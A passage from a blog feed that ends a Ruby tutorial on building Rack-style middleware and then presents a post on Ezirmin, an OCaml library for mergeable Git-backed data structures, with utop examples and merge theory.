Just goto the directory with the file <code class="language-plaintext highlighter-rouge">config.ru</code> and run <code class="language-plaintext highlighter-rouge">srackup</code></p>

<h2 id="implementing-middleware">Implementing middleware</h2>

<p>As discussed earlier one of the widely used feature in the rack is middleware. Let’s see how it works</p>

<p>A middleware will take the output(triplet) of rack app and modify it and give to next middleware or the app</p>

<p>We can make some tweaks in <code class="language-plaintext highlighter-rouge">Srackup::Builder</code> to accommodate this</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">...</span>
<span class="k">class</span> <span class="nc">Builder</span>
  <span class="o">...</span>
  <span class="k">def</span> <span class="nf">initialize</span><span class="p">(</span><span class="o">&amp;</span><span class="n">block</span><span class="p">)</span>
      <span class="vi">@use</span> <span class="o">=</span> <span class="p">[]</span>
      <span class="nb">instance_eval</span><span class="p">(</span><span class="o">&amp;</span><span class="n">block</span><span class="p">)</span> <span class="k">if</span> <span class="nb">block_given?</span>
    <span class="k">end</span>

    <span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="n">app</span><span class="p">)</span>
      <span class="vi">@run</span> <span class="o">=</span> <span class="n">app</span>
    <span class="k">end</span>

    <span class="k">def</span> <span class="nf">use</span><span class="p">(</span><span class="n">middleware</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">block</span><span class="p">)</span>
      <span class="vi">@use</span> <span class="o">&lt;&lt;</span> <span class="nb">proc</span> <span class="p">{</span><span class="o">|</span><span class="n">app</span><span class="o">|</span> <span class="n">middleware</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="n">app</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">block</span><span class="p">)}</span>
    <span class="k">end</span>

    <span class="k">def</span> <span class="nf">to_app</span>
      <span class="n">app</span> <span class="o">=</span> <span class="vi">@run</span>
      <span class="n">app</span> <span class="o">=</span> <span class="vi">@use</span><span class="p">.</span><span class="nf">reverse</span><span class="p">.</span><span class="nf">inject</span><span class="p">(</span><span class="n">app</span><span class="p">)</span> <span class="p">{</span> <span class="o">|</span><span class="n">a</span><span class="p">,</span><span class="n">e</span><span class="o">|</span> <span class="n">e</span><span class="p">[</span><span class="n">a</span><span class="p">]</span> <span class="p">}</span>
      <span class="n">app</span>
    <span class="k">end</span>
    <span class="o">...</span>
<span class="k">end</span>
<span class="o">...</span>
</code></pre></div></div>

<p>Here we defined an extra method <code class="language-plaintext highlighter-rouge">use</code> which will accept middleware as input. Also we have a new instance variable array <code class="language-plaintext highlighter-rouge">@use</code> which will store procs which accept app as input and returns new middleware object in return</p>

<p>Also, we changed <code class="language-plaintext highlighter-rouge">to_app</code> in such way that middlewares will be executed in the reverse order of calling</p>

<p>Now our app can also handle middlewares</p>

<p>If something is missing, or getting some errors, you can cross check with my <a href="https://github.com/tachyons/srack">repo here</a></p>

<h3 id="references">References</h3>
<ul>
  <li>https://github.com/rack</li>
  <li>http://www.kavinder.com/blog/2014-10-10-rebuild-a-gem-rack/</li>
  <li>http://www.kavinder.com/blog/2014-10-10-rebuild-a-gem-rack/</li>
</ul>]]></content:encoded>
            <author>Aboobacker M K</author>
        </item>
        <item>
            <title><![CDATA[Ezirmin : An easy interface to the Irmin library]]></title>
            <link>https://kcsrk.info/ocaml/irmin/crdt/2017/02/15/an-easy-interface-to-irmin-library/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/irmin/crdt/2017/02/15/an-easy-interface-to-irmin-library/</guid>
            <pubDate>Wed, 15 Feb 2017 13:46:00 GMT</pubDate>
            <description><![CDATA[Ezirmin is an easy interface over the
Irmin, a library database for building
persistent mergeable data structures based on the principles of Git. In this
post, I will primarily discuss the Ezirmin library, but also discuss some of the
finer technical details of mergeable data types implemented over Irmin.
Contents
Contents
Irmin and Ezirmin
Quick tour of Ezirmin    
Merge semantics
Working with history
Reacting to changes
Interaction with remotes
Mergeable persistent data types    
Irmin Architecture
User-defined merges
Mergeable Counters        
Theory of merges
Recursive merges
Mergeable logs        
Efficient mergeable logs
Mergeable ropes
Next steps
Irmin and Ezirmin
Irmin is a library for manipulating persistent mergeable data structures
(including CRDTs) that follows the same principles of Git. In particular, it has
built-in support for snapshots, branches and reverts, and can compile to
multiple backends. Being written in pure OCaml, apps written using Irmin, as
well as running natively, can run in the browsers or be compiled to Unikernels.
A good introduction to the capabilities of Irmin can be found in the Irmin
README file.
One of the downsides to being extremely configurable is that the Irmin library
is not beginner friendly. In particular, the library tends to be rather functor
heavy, and even simple
uses require
multiple functor instantiations1. The primary goal of Ezirmin is to
provide a defuntorized interface to Irmin, specialized to useful defaults.
However, as I’ve continued to build Ezirmin, it has come to include a collection
of useful mergeable data types including counters, queues, ropes, logs, etc. I
will spend some time describing some of the interesting aspects of these data
structures.
Quick tour of Ezirmin
You can install the latest version of Ezirmin by

$ git clone https://github.com/kayceesrk/ezirmin
$ cd ezirmin
$ opam pin add ezirmin .


Stable versions are also available through OPAM:

$ opam install ezirmin


Let’s fire up utop and get started:

$ utop
utop # #require "ezirmin";;
utop # open Lwt.Infix;;


We’ll create a mergeable queue of strings using the Git file system backend
rooted at /tmp/ezirminq:

utop # module M = Ezirmin.FS_queue(Tc.String);; (* Mergeable queue of strings *)
utop # open M;;
utop # let m = Lwt_main.run (init ~root:"/tmp/ezirminq" ~bare:true () >>= master);;
val m : branch = <abstr>


m is the master branch of the repository. Ezirmin exposes a key value store,
where keys are hierarchical paths and values are whatever data types is stored in
the repo. In this case, the data type is a queue. Let’s push some elements into
the queue:

utop # push m ["home"; "todo"] "buy milk";;
- : unit = ()
utop # push m ["work"; "todo"] "publish ezirmin";;
- : unit = ()
utop # to_list m ["home"; "todo"];;
- : string list = ["buy milk"]


The updates to the queue is saved in the Git repository at /tmp/ezirminq. In
another terminal,

$ utop
utop # #require "ezirmin";;
utop # module M = Ezirmin.FS_queue(Tc.String);; (* Mergeable queue of strings *)
utop # open M;;
utop # open Lwt.Infix;;
utop # let m = Lwt_main.run (init ~root:"/tmp/ezirminq" ~bare:true () >>= master);;
val m : branch = <abstr>
utop # pop m ["home"; "todo"];;
- : string option = Some "buy milk"


For concurrency control, use branches. In the first terminal,

utop # let wip = Lwt_main.run @@ clone_force m "wip";;
utop # push wip ["home"; "todo"] "walk dog";;
- : unit = ()
utop # push wip ["home"; "todo"] "take out trash";;
- : unit = ()


The changes are not visible until the branches are merged.

utop # to_list m ["home"; "todo"];;
- : string list = []
utop # merge wip ~into:m;;
- : unit = ()
utop # to_list m ["home"; "todo"];;
- : string list = ["walk dog"; "take out trash"]


Merge semantics
What should be the semantics of popping the queue at home/todo concurrently
at the master branch and wip branch? It is reasonable to ascribe exactly once
semantics to pop such that popping the same element on both branches and
subsequently merging the queues would lead to a merge conflict. However, a more
useful semantics is where we relax this invariant and allow elements to be
popped more than once on different branches. In particular, the merge operation
on the queue ensures that:
An element popped in one of the branches is not present after the merge.
Merges respect the program order in each of the branches.
Merges converge.
Hence, our merge queues are CRDTs.
Working with history
Irmin is fully compatible with Git. Hence, we can explore the history of the
operations using the git command line. In another terminal:

$ cd /tmp/ezirminq
$ git lg
* e75da48 - (4 minutes ago) push - Irmin xxxx.cam.ac.uk.[73126] (HEAD -> master, wip)
* 40ed32d - (4 minutes ago) push - Irmin xxxx.cam.ac.uk.[73126]
* 6a56fb0 - (5 minutes ago) pop - Irmin xxxx.cam.ac.uk.[73221]
* 6a2cc9a - (6 minutes ago) push - Irmin xxxx.cam.ac.uk.[73126]
* 55f7fc8 - (6 minutes ago) push - Irmin xxxx.cam.ac.uk.[73126]


The Git log shows that there have been 4 pushes and 1 pop in this repository.
In addition to the data structures being mergeable, they are also persistent.
In particular, every object stored in Irmin has complete provenance. You can
also manipulate history using the Git command line.

$ git reset HEAD~2 --hard
$ git lg
* e75da48 - (8 minutes ago) push - Irmin xxxx.cam.ac.uk.[73126] (wip)
* 40ed32d - (9 minutes ago) push - Irmin xxxx.cam.ac.uk.[73126]
* 6a56fb0 - (9 minutes ago) pop - Irmin xxxx.cam.ac.uk.[73221] (HEAD -> master)
* 6a2cc9a - (10 minutes ago) push - Irmin xxxx.cam.ac.uk.[73126]
* 55f7fc8 - (10 minutes ago) push - Irmin xxxx.cam.ac.uk.[73126]


Back in the first terminal:

utop # to_list m ["home"; "todo"];;
- : string list = []


Since we rolled back the master to before the pushes were merged, we see an
empty list. Ezirmin also provides APIs for working with history
programmatically.

utop # let run = Lwt_main.run;;
utop # let repo = run @@ init ();;
utop # let path = ["Books"; "Ovine Supply Logistics"];;
utop # let push_msg = push m ~path;;

utop # begin
  push_msg "Baa" >>= fun () ->
  push_msg "Baa" >>= fun () ->
  push_msg "Black" >>= fun () ->
  push_msg "Camel"
end;;

utop # to_list m path;;
- : string list = ["Baa"; "Baa"; "Black"; "Camel"]


Clearly this is wrong. Let’s fix this by reverting to earlier version:

utop # let m_1::_ = run @@ predecessors repo m;; (** HEAD~1 version *)
utop # to_list m_1 path;;
- : string list = ["Baa"; "Baa"; "Black"]
utop # update_branch m ~set:m_1;;
utop # to_list m path;;
- : string list = ["Baa"; "Baa"; "Black"]


Now that we’ve undone the error, we can do the right thing.

utop # push_msg "Sheep";;
utop # run @@ to_list m path;;
- : string list = ["Baa"; "Baa"; "Black"; "Sheep"]


Reacting to changes
Ezirmin supports watching a particular key for updates and invoking a callback
function when there is one.

utop # let cb _ = Lwt.return (print_endline "callback: update to home/todo");;
utop # watch m ["home"; "todo"] cb


The code above installs a listener cb on the queue at home/todo, which is
run every time the queue is updated. This includes local push and pop
operations as well as updates due to merges.

utop # push m ["home"; "todo"] "hang pictures";;
callback: update to home/todo
- : unit = ()


Interaction with remotes
Unlike distributed data stores, where the updates are disseminated
transparently between the replicas, Ezirmin provides you the necessary building
blocks for building your own dissemination protocol. As with Git, Ezirmin
exposes the functionality to push2 and pull changes from remotes.

#show_module Sync;;
module Sync : sig
  type remote
  val remote_uri : string -> remote
  val pull : remote -> branch -> [ `Merge | `Update ] -> [ `Conflict of string | `Error | `No_head | `Ok ] Lwt.t
  val push : remote -> branch -> [ `Error | `Ok ] Lwt.t
end


This design provides the flexibility to describe your own network layout, with
anti-entropy mechanisms built-in to the synchronization protocol. For example,
one might deploy the replicas in a hub-and-spoke model where each replica
accepts client writes locally and periodically publishes changes to the master
and also fetches any latest updates. The data structures provided by Ezirmin
are always mergeable and converge. Hence, the updates are never rejected. It is
important to note that even though we have a centralized master, this
deployment is still highly available. Even if the master is unavailable, the
other nodes can still accept client requests. The replicas may also be
connected in a peer-to-peer fashion without a centralized master for a more
resilient deployment.
Mergeable persistent data types
Ezirmin is equipped with a growing
collection of mergeable
data types. The mergeable datatypes occupy a unique position in the space of
CRDTs. Given that we have the history, the design of mergeable datatypes is much
simpler. Additionally, this also leads to richer
structures typically not found in CRDTs.
It is worth studying them in detail.
Irmin Architecture
Irmin provides a high-level key-value interface built over two lower level
heaps: a block store and a tag store. A block store is an append-only
content-addressable store that stores serialized values of application contents,
prefix-tree nodes, history meta-data, etc. Instead of using physical memory
address of blocks, the blocks are identified by the hash of their contents. As a
result block store enjoys very nice properties. Being content-addressed, we get
sharing for free: two blocks with the same content will have the have the same
hash. This not only applies for individual blocks, but also for
linked-structures. For example,
  
The linked list above is uniquely identified by hash h0 since h0 was
computed from the content a and the hash of the tail of the list h1. No
other list has hash h0. Changing c to C in this list would result in a
different hash for the head of the list3. Moreover, since the block
store is append-only, all previous versions of a application-level data
structure is also available, and thus providing persistence. This also makes for
a nice concurrency story for multiple processes/threads operating on the block
store. The absence of mutations on block store mean that no additional
concurrency control mechanisms are necessary.
The only mutable part of the Irmin architecture is the tag store, that maps
global names to blocks in the block store. The notion of branches are built on
top of the tag store. Cloning a branch creates a new tag that points to the same
block as the cloned branch.
User-defined merges
The real power of Irmin is due to the user-defined merges. Irmin expects the
developer to provide a 3-way merge function with the following signature:

type t
(** User-defined contents. *)

val merge : old:t -> t -> t -> [`Ok of t | `Conflict of string]
(** 3-way merge. *)


Given the common ancestor old and the two versions, merge function can either
return a successful merge or mark a conflict. It is up to the developer to ensure
that merges are commutative (merge old a b = merge old b a) and that the merge
captures the intent of the two branches. If the merge function never conflicts,
we have CRDTs.
Mergeable Counters
The simplest mergeable data type is a counter with an increment and decrement
operations. Given that we have a 3-way merge function, the merge is intuitive:


Given the two new values for the counter t1 and t2, and their lowest common
ancestor value old, the new value of the counter is the sum of the old value
and the two deltas: old + (t1 - old) + (t2 - old) = t1 + t2 - old.
Theory of merges
While this definition is intuitive, the proof of why this strategy (i.e.,
computing deltas and applying to the common ancestor) is correct is quite
subtle. It happens to be the case that the patches (deltas) in this case,
integers under addition, form an abelian
group. Judah Jacobson formalizes
patches for Darcs as inverse
semigroups and proves
convergence. Every abelian group is also an inverse semigroup. Hence, the above
strategy is correct. Merges can also be equivalently viewed as a pushout in
category theory, leading to the same
result. I will have to save the discussion of the category theoretic reasoning
of Irmin merges for another time. But Liam O’Connor has written a concise
post on the theory of patches
which is worth a read.
Recursive merges
Since Ezirmin allows arbitrary branching and merging, the lowest common ancestor
need not be unique. One way to end up with multiple lowest common ancestors is
criss-cross merges. For example, consider the history graph below:
  
The counter at some key in the master was initially 0. The branch wip was
cloned at this point. The counter is incremented by 1 at master and 2 at
wip. At this point, both branches are merged into the other branch. The common
ancestor here is the initial state of counter 0. This results in counter value
of 3 in both branches. Suppose there are further increments, 2 at master
and 4 at wip, resulting in counter values 5 and 7 respectively in
master and wip.
If the wip branch is now merged in master, there are two lowest common
ancestors: the commit with value 1 at master and 2 in wip. Since the 3-way
merge algorithm only work for a single common ancestor, the we adopt a recursive
merge strategy, where the lowest common ancestors are first merged resulting in
a internal commit with value 3 (represented by a dotted circle). This commit
is now used as the common ancestor for merging, which results in 9 as the new
state of the counter. This matches the increments done in both branches. The
recursive merge strategy is also the default merge strategy for Git.
Mergeable logs
Another useful data type is mergeable
logs, where each log message
is a string. The merge operation accumulates the logs in reverse chronological
order. To this end, each log entry is a pair of timestamp and message, and the
log itself is a list of entries. They are constructed using
mirage-tc:


The merge function extracts the newer entries from either branches, sorts them
and appends to the front of the old list.


While this implementation is simple, it does not scale well. In particular, each
commit stores the entire log as a single serialized blob. This does not take
advantage of the fact that every commit can share the tail of the log with its
predecessor. Moreover, every append to the log needs to deserialize the entire
log, append the new entry and serialize the log again. Hence, append is an
O(n) operation, where n is the size of the log. Merges are also worst case
O(n). This is undesirable.
Efficient mergeable logs
We can implement a efficient logs
by taking advantage of the fact that every commit shares the tail of the log
with its predecessor.

type log_entry = {
  time    : Time.t;
  message : V.t;        (** V.t is type of message. *)
  prev    : K.t option  (** K.t is the type of address in the block store. *)
}


Merges simply add a new node which points to the logs of merged branches,
resulting in a DAG that captures the causal history. The following sequence of
operations:

utop # #require "ezirmin";;
utop # open Lwt.Infix;;
utop # module M = Ezirmin.Memory_log(Tc.String);;
utop # open M;;
utop # let m = Lwt_main.run (init () >>= master);;
utop # Lwt_main.run (
  append m [] "m0" >>= fun _ ->
  append m [] "m1" >>= fun _ ->
  clone_force m "wip" >>= fun w ->
  append w [] "w0" >>= fun _ ->
  append m [] "m2" >>= fun _ ->
  merge w ~into:m >>= fun _ ->
  append w [] "w1" >>= fun _ ->
  append w [] "w2" >>= fun _ ->
  append m [] "m3" >>= fun _ ->
  append m [] "m4"
);;


results in the heap below.
  
Read traverses the log in reverse chronological order.

utop # read_all m [];;
- : string list = ["m4"; "m3"; "m2"; "w0"; "m1"; "m0"]


This implementation has O(1) appends and O(1) merges, resulting in much
better performance. The graph below compares the blob log implementation and
this linked implementation with file system backend by performing repeated
appends to the log and measuring the latency for append.
  
Each point represents the average latency for the previous 100 appends. The
results show that the append latency for linked implementation remains
relatively constant while the blob implementation slows down considerably with
increasing number of appends. Additionally, the linked implementation also
supports efficient paginated
reads.
Mergeable ropes
A rope data structure is used for efficiently storing and manipulating very long
strings. Ezirmin provides mergeable
ropes where for arbitrary
contents, but also
specialized for strings.
Ropes automatically rebalance to maintain the invariant that the height of the
tree is proportional to the length of the contents. The crux of the merge
strategy is that given a common ancestor and the two trees to be merged,
the merge algorithm works out the smallest subtrees where the modification
occurred. If the modifications are on distinct subtrees, then the merge is
trivial.
  
If the modification is on the same subtree, then the algorithm delegates to
merge the contents. This problem has been well studied under the name of
operational
transformation (OT).
OT can be categorically explained in terms of pushouts.
Mergeable strings with insert, delete and replace operations are isomorphic to
counters with increment and decrement. We apply a similar strategy to merge
string.


First we compute the diff between the common ancestor and the new tree using
Wagner-Fischer
algorithm. Then
we transform one patch with respect to the other using standard OT definition
such that we can first apply one of the original patch to the common ancestor
and then apply the transformed patch of the other branch to get the result tree.
For example,

utop # #require "ezirmin";;
utop # open Lwt.Infix;;
utop # open Ezirmin.Memory_rope_string;;
utop # let m = Lwt_main.run (init () >>= master);;
utop # let t = Lwt_main.run (
  make "abc" >>= fun t ->
  write m [] t >>= fun _ ->
  Lwt.return t
);;
utop # let w = Lwt_main.run (clone_force m "w");;
utop # let _ = Lwt_main.run (
  set t 1 'x' >>= fun t' (* "axc" *) ->
  write m [] t' >>= fun _ ->

  insert t 1 "y" >>= fun t' (* "aybc" *)->
  write w [] t' >>= fun _ ->

  merge w ~into:m >>= fun _ (* "ayxc" *) ->
  merge m ~into:w
);;
utop # Lwt_main.run (
  read m [] >>= function
  | None -> failwith "impossible"
  | Some r -> flush r >|= fun s ->
  Printf.printf "m is \"%s\"\n" s
);;
- : unit = ()
m is "ayxc"
utop # Lwt_main.run (
  read w [] >>= function
  | None -> failwith "impossible"
  | Some r -> flush r >|= fun s ->
  Printf.printf "w is \"%s\"\n" s
)
- : unit = ()
w is "ayxc"


The combination of mergeable ropes with OT gets the best of both worlds.
Compared to a purely OT based implementation, diffs are only computed if updates
conflict at the leaves. The representation using ropes is also efficient in
terms of storage where multiple versions of the tree shares blocks. A purely
rope based implementation either has the option of storing individual characters
(atoms) at the leaves (and resolve conflicts based on some deterministic
mechanism such as timestamps or other deterministic strategies) or manifest the
conflict at the leaves to the user to get it resolved. A simple strategy might
be to present both of the conflicting strings, and ask the user to resolve it.
Hence, mergeable ropes + OT is strictly better than either of the approaches.
Next steps
Ezirmin is open to comments and contributions. Next steps would be:
Implement more mergeable data types
Implement generic mergeable datatypes using depyt.
Explore the data types which admit conflicts. For example, a bank account with
non-negative balance does not form a CRDT with a withdraw operation. However,
operations such as deposit and accrue_interest can be coordination-free.
Footnotes
Things are indeed improving with a cleaner API in the 1.0 release. ↩
Push is currently broken. But given that Irmin is compatible with git, one can use git-push to publish changes. ↩
The same principle underlies the irrefutability of blockchain. No block can be changed without reflecting the change in every subsequent block. ↩]]></description>
            <content:encoded><![CDATA[<p><a href="https://github.com/kayceesrk/ezirmin">Ezirmin</a> is an easy interface over the
<a href="https://github.com/mirage/irmin">Irmin</a>, a library database for building
persistent mergeable data structures based on the principles of Git. In this
post, I will primarily discuss the Ezirmin library, but also discuss some of the
finer technical details of mergeable data types implemented over Irmin.</p>

<!--more-->

<h1 id="contents">Contents</h1>

<ul id="markdown-toc">
  <li><a href="#contents" id="markdown-toc-contents">Contents</a></li>
  <li><a href="#irmin-and-ezirmin" id="markdown-toc-irmin-and-ezirmin">Irmin and Ezirmin</a></li>
  <li><a href="#quick-tour-of-ezirmin" id="markdown-toc-quick-tour-of-ezirmin">Quick tour of Ezirmin</a>    <ul>
      <li><a href="#merge-semantics" id="markdown-toc-merge-semantics">Merge semantics</a></li>
      <li><a href="#working-with-history" id="markdown-toc-working-with-history">Working with history</a></li>
      <li><a href="#reacting-to-changes" id="markdown-toc-reacting-to-changes">Reacting to changes</a></li>
      <li><a href="#interaction-with-remotes" id="markdown-toc-interaction-with-remotes">Interaction with remotes</a></li>
    </ul>
  </li>
  <li><a href="#mergeable-persistent-data-types" id="markdown-toc-mergeable-persistent-data-types">Mergeable persistent data types</a>    <ul>
      <li><a href="#irmin-architecture" id="markdown-toc-irmin-architecture">Irmin Architecture</a></li>
      <li><a href="#user-defined-merges" id="markdown-toc-user-defined-merges">User-defined merges</a></li>
      <li><a href="#mergeable-counters" id="markdown-toc-mergeable-counters">Mergeable Counters</a>        <ul>
          <li><a href="#theory-of-merges" id="markdown-toc-theory-of-merges">Theory of merges</a></li>
          <li><a href="#recursive-merges" id="markdown-toc-recursive-merges">Recursive merges</a></li>
        </ul>
      </li>
      <li><a href="#mergeable-logs" id="markdown-toc-mergeable-logs">Mergeable logs</a>        <ul>
          <li><a href="#efficient-mergeable-logs" id="markdown-toc-efficient-mergeable-logs">Efficient mergeable logs</a></li>
        </ul>
      </li>
      <li><a href="#mergeable-ropes" id="markdown-toc-mergeable-ropes">Mergeable ropes</a></li>
    </ul>
  </li>
  <li><a href="#next-steps" id="markdown-toc-next-steps">Next steps</a></li>
</ul>

<h1 id="irmin-and-ezirmin">Irmin and Ezirmin</h1>

<p>Irmin is a library for manipulating persistent mergeable data structures
(including CRDTs) that follows the same principles of Git. In particular, it has
built-in support for snapshots, branches and reverts, and can compile to
multiple backends. Being written in pure OCaml, apps written using Irmin, as
well as running natively, can run in the browsers or be compiled to Unikernels.
A good introduction to the capabilities of Irmin can be found in the Irmin
<a href="https://github.com/mirage/irmin/blob/master/README.md">README</a> file.</p>

<p>One of the downsides to being extremely configurable is that the Irmin library
is not beginner friendly. In particular, the library tends to be rather functor
heavy, and even <a href="https://github.com/mirage/irmin/blob/master/README.md#usage">simple
uses</a> require
multiple functor instantiations<sup id="fnref:irmin" role="doc-noteref"><a href="#fn:irmin" class="footnote" rel="footnote">1</a></sup>. The primary goal of Ezirmin is to
provide a defuntorized interface to Irmin, specialized to useful defaults.
However, as I’ve continued to build Ezirmin, it has come to include a collection
of useful mergeable data types including counters, queues, ropes, logs, etc. I
will spend some time describing some of the interesting aspects of these data
structures.</p>

<h1 id="quick-tour-of-ezirmin">Quick tour of Ezirmin</h1>

<p>You can install the latest version of Ezirmin by</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git clone https://github.com/kayceesrk/ezirmin
<span class="nv">$ </span><span class="nb">cd </span>ezirmin
<span class="nv">$ </span>opam pin add ezirmin <span class="nb">.</span>
</code></pre></div></div>

<p>Stable versions are also available through OPAM:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>opam <span class="nb">install </span>ezirmin
</code></pre></div></div>

<p>Let’s fire up <code class="language-plaintext highlighter-rouge">utop</code> and get started:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">$</span> <span class="n">utop</span>
<span class="n">utop</span> <span class="o">#</span> <span class="o">#</span><span class="n">require</span> <span class="s2">"ezirmin"</span><span class="p">;;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">open</span> <span class="nn">Lwt</span><span class="p">.</span><span class="nc">Infix</span><span class="p">;;</span>
</code></pre></div></div>

<p>We’ll create a mergeable queue of strings using the Git file system backend
rooted at <code class="language-plaintext highlighter-rouge">/tmp/ezirminq</code>:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">module</span> <span class="nc">M</span> <span class="o">=</span> <span class="nn">Ezirmin</span><span class="p">.</span><span class="nc">FS_queue</span><span class="p">(</span><span class="nn">Tc</span><span class="p">.</span><span class="nc">String</span><span class="p">);;</span> <span class="c">(* Mergeable queue of strings *)</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">open</span> <span class="nc">M</span><span class="p">;;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">m</span> <span class="o">=</span> <span class="nn">Lwt_main</span><span class="p">.</span><span class="n">run</span> <span class="p">(</span><span class="n">init</span> <span class="o">~</span><span class="n">root</span><span class="o">:</span><span class="s2">"/tmp/ezirminq"</span> <span class="o">~</span><span class="n">bare</span><span class="o">:</span><span class="bp">true</span> <span class="bp">()</span> <span class="o">&gt;&gt;=</span> <span class="n">master</span><span class="p">);;</span>
<span class="k">val</span> <span class="n">m</span> <span class="o">:</span> <span class="n">branch</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">abstr</span><span class="o">&gt;</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">m</code> is the master branch of the repository. Ezirmin exposes a key value store,
where keys are hierarchical paths and values are whatever data types is stored in
the repo. In this case, the data type is a queue. Let’s push some elements into
the queue:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="n">push</span> <span class="n">m</span> <span class="p">[</span><span class="s2">"home"</span><span class="p">;</span> <span class="s2">"todo"</span><span class="p">]</span> <span class="s2">"buy milk"</span><span class="p">;;</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">unit</span> <span class="o">=</span> <span class="bp">()</span>
<span class="n">utop</span> <span class="o">#</span> <span class="n">push</span> <span class="n">m</span> <span class="p">[</span><span class="s2">"work"</span><span class="p">;</span> <span class="s2">"todo"</span><span class="p">]</span> <span class="s2">"publish ezirmin"</span><span class="p">;;</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">unit</span> <span class="o">=</span> <span class="bp">()</span>
<span class="n">utop</span> <span class="o">#</span> <span class="n">to_list</span> <span class="n">m</span> <span class="p">[</span><span class="s2">"home"</span><span class="p">;</span> <span class="s2">"todo"</span><span class="p">];;</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">string</span> <span class="kt">list</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"buy milk"</span><span class="p">]</span>
</code></pre></div></div>

<p>The updates to the queue is saved in the Git repository at <code class="language-plaintext highlighter-rouge">/tmp/ezirminq</code>. In
another terminal,</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">$</span> <span class="n">utop</span>
<span class="n">utop</span> <span class="o">#</span> <span class="o">#</span><span class="n">require</span> <span class="s2">"ezirmin"</span><span class="p">;;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">module</span> <span class="nc">M</span> <span class="o">=</span> <span class="nn">Ezirmin</span><span class="p">.</span><span class="nc">FS_queue</span><span class="p">(</span><span class="nn">Tc</span><span class="p">.</span><span class="nc">String</span><span class="p">);;</span> <span class="c">(* Mergeable queue of strings *)</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">open</span> <span class="nc">M</span><span class="p">;;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">open</span> <span class="nn">Lwt</span><span class="p">.</span><span class="nc">Infix</span><span class="p">;;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">m</span> <span class="o">=</span> <span class="nn">Lwt_main</span><span class="p">.</span><span class="n">run</span> <span class="p">(</span><span class="n">init</span> <span class="o">~</span><span class="n">root</span><span class="o">:</span><span class="s2">"/tmp/ezirminq"</span> <span class="o">~</span><span class="n">bare</span><span class="o">:</span><span class="bp">true</span> <span class="bp">()</span> <span class="o">&gt;&gt;=</span> <span class="n">master</span><span class="p">);;</span>
<span class="k">val</span> <span class="n">m</span> <span class="o">:</span> <span class="n">branch</span> <span class="o">=</span> <span class="o">&lt;</span><span class="n">abstr</span><span class="o">&gt;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="n">pop</span> <span class="n">m</span> <span class="p">[</span><span class="s2">"home"</span><span class="p">;</span> <span class="s2">"todo"</span><span class="p">];;</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">string</span> <span class="n">option</span> <span class="o">=</span> <span class="nc">Some</span> <span class="s2">"buy milk"</span>
</code></pre></div></div>

<p>For concurrency control, use branches. In the first terminal,</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">wip</span> <span class="o">=</span> <span class="nn">Lwt_main</span><span class="p">.</span><span class="n">run</span> <span class="o">@@</span> <span class="n">clone_force</span> <span class="n">m</span> <span class="s2">"wip"</span><span class="p">;;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="n">push</span> <span class="n">wip</span> <span class="p">[</span><span class="s2">"home"</span><span class="p">;</span> <span class="s2">"todo"</span><span class="p">]</span> <span class="s2">"walk dog"</span><span class="p">;;</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">unit</span> <span class="o">=</span> <span class="bp">()</span>
<span class="n">utop</span> <span class="o">#</span> <span class="n">push</span> <span class="n">wip</span> <span class="p">[</span><span class="s2">"home"</span><span class="p">;</span> <span class="s2">"todo"</span><span class="p">]</span> <span class="s2">"take out trash"</span><span class="p">;;</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">unit</span> <span class="o">=</span> <span class="bp">()</span>
</code></pre></div></div>

<p>The changes are not visible until the branches are merged.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="n">to_list</span> <span class="n">m</span> <span class="p">[</span><span class="s2">"home"</span><span class="p">;</span> <span class="s2">"todo"</span><span class="p">];;</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">string</span> <span class="kt">list</span> <span class="o">=</span> <span class="bp">[]</span>
<span class="n">utop</span> <span class="o">#</span> <span class="n">merge</span> <span class="n">wip</span> <span class="o">~</span><span class="n">into</span><span class="o">:</span><span class="n">m</span><span class="p">;;</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">unit</span> <span class="o">=</span> <span class="bp">()</span>
<span class="n">utop</span> <span class="o">#</span> <span class="n">to_list</span> <span class="n">m</span> <span class="p">[</span><span class="s2">"home"</span><span class="p">;</span> <span class="s2">"todo"</span><span class="p">];;</span>
